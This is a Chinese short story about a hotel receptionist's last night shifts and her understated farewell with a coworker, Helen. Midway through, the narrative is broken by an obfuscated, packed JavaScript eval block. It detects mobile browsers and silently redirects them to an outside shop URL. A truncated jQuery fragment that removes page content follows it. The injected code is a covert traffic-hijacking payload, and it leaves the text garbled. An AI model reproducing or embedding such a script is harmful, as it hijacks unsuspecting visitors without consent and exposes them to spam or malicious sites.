晚上九点，林深刷卡进员工通道。电梯门打开的时候，Helen已经在前台了，正低头看电脑。听见脚步声，抬头看了一眼。
“来了。”
“嗯。”
林深把包放下，换工牌，开系统，动作和平时没什么区别。大厅也和平时一样——有客人拖着行李箱进来，有外卖员站在门口打电话，有出租车停下又离开。Jason今天休息，女实习生也不在，前台难得有点安静。Helen把一张纸递过来。
“今天预抵。”
林深接过，看了一眼。
“这么少？”
“下雨。”
“有道理。”
Helen嗯了一声，继续看电脑。
晚上十一点，大厅几乎没人。林深坐在电脑前开发票，Helen在核对第二天团队名单。偶尔有电话进来，偶尔有客人下来买东西，和平时没有区别。
十二点多的时候，工程部过来借打印机。Helen把位置让出来，工程大哥一边打印一边叹气。
“又快年底了。”
Helen头也没抬。
“还有半年。”
“我已经开始累了。”
林深笑了一下。工程大哥看着她。
“你什么时候走？”
林深愣了一下。
“后天。”
工程大哥点点头。
“挺好。”
然后拿着文件离开。大厅重新安静下来。Helen看着电脑屏幕，过了一会儿，忽然问。
“离职日期定了？”
“定了。”
“哪天？”
“后天。最后两个夜班”
Helen点点头。
“嗯。”
没有再说别的，继续工作。
凌晨一点，两个人轮流去员工餐厅吃东西。林深回来时，Helen正站在打印机旁边，手里拿着一叠纸。灯光落在她脸上，和平时一样，好像什么都没变。林深忽然想起来——这是最后一次和Helen一起上夜班了。这个念头冒出来的时候，她自己都愣了一下。Helen还在整理文件，什么都不知道。或者知道，只是没说。
凌晨三点，外面开始下雨。雨点打在玻璃上，大厅更安静了。Helen泡了两杯咖啡，一杯放在自己旁边，另一杯推给林深。
“谢了。”
“嗯。”
咖啡有点烫，林深吹了吹，没喝。两个人看着电脑，谁都没说话。有些夜班就是这样，八个小时过去，说的话可能不到十句。
凌晨四点半，Helen忽然开口。
“以后还做酒店吗？”
林深想了想。
“应该不做了。”
Helen点点头。
“挺好。”
“为什么？”
“身体扛不住。”
林深笑了。
“你也知道。”
Helen看着屏幕。
“我又不瞎。”
大厅安静下来，外面雨还在下。不知道过了多久，Helen忽然说。
“走的时候工牌别忘了交。”
林深低头笑了笑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950404|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“知道。”
“工服也是。”
“知道。”
“储物柜记得清空。”
“知道。”
Helen终于转头看她。
“什么都知道。”
林深笑着没说话。
天快亮的时候，第一辆出租车停在门口。保洁开始上班，早餐厅灯亮了。夜班快结束了。Helen收拾好东西，站起来，把椅子推回去。
“我先走了。”
林深愣了一下。
“你今天不是八点下班？”
“调班。”
Helen背上包。
“明天休息。”
“哦。”
Helen点点头，转身往员工通道走。走到一半，又停下来，回头看了一眼。
“提前说吧。”
“什么？”
“再见。”
林深坐在那里，没反应过来。Helen已经笑了一下，很淡，和平时差不多。
“再见。”
说完转身走了。员工通道的门慢慢关上，大厅重新安静下来。林深坐在前台，电脑屏幕还亮着，外面天已经开始发白。她忽然发现，有些再见不会等到最后一天。
很多年以后，林深才知道。那天Helen离开前台以后，没有直接下楼。她回办公室坐了一会儿，门关着，谁也没进去。后来Jessica提过一次，说Helen那天眼睛有点红，像没睡好。林深当时愣了很久。因为那天晚上，Helen什么都没说，只说了两个字。
再见。